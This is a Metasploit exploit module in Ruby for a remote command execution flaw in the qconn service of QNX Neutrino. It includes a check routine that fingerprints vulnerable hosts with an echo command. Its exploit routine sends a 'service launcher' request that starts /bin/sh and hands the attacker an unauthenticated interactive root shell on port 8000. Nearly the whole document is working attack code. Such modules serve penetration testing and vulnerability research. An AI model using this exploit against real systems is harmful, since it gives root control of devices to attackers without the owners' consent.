QNX QCONN Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "QNX QCONN Remote Command Execution Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in the qconn component of  
QNX Neutrino which can be abused to allow unauthenticated users to  
execute arbitrary commands under the context of the 'root' user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'David Odell', # Discovery  
'Mor!p3r <moriper[at]gmail.com>', # PoC  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit  
],  
'References' =>  
[  
['EDB', '21520'],  
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],  
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],  
],  
'Payload' =>  
{  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find',  
},  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 10,  
'PAYLOAD' => 'cmd/unix/interact',  
},  
'Platform' => 'unix', # QNX Neutrino  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
# Tested on QNX Neutrino 6.5 SP1  
['Automatic Targeting', { 'auto' => true }]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Sep 4 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8000)  
], self.class)  
end  
  
def check  
  
@peer = "#{rhost}:#{rport}"  
  
# send check  
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)  
print_status("#{@peer} - Sending check")  
connect  
req = "service launcher\n"  
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"  
sock.put(req)  
res = sock.get  
disconnect  
  
# check response  
if res and res =~ /#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
elsif res and res =~ /QCONN/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unknown  
end  
  
end  
  
def exploit  
  
@peer = "#{rhost}:#{rport}"  
  
# send payload  
req = "service launcher\n"  
req << "start/flags run /bin/sh -\n"  
print_status("#{@peer} - Sending payload (#{req.length} bytes)")  
connect  
sock.put(req)  
res = sock.get  
  
# check response  
if res and res =~ /No controlling tty/  
print_good("#{@peer} - Payload sent successfully")  
else  
print_error("#{@peer} - Sending payload failed")  
end  
handler  
disconnect  
  
end  
end  
`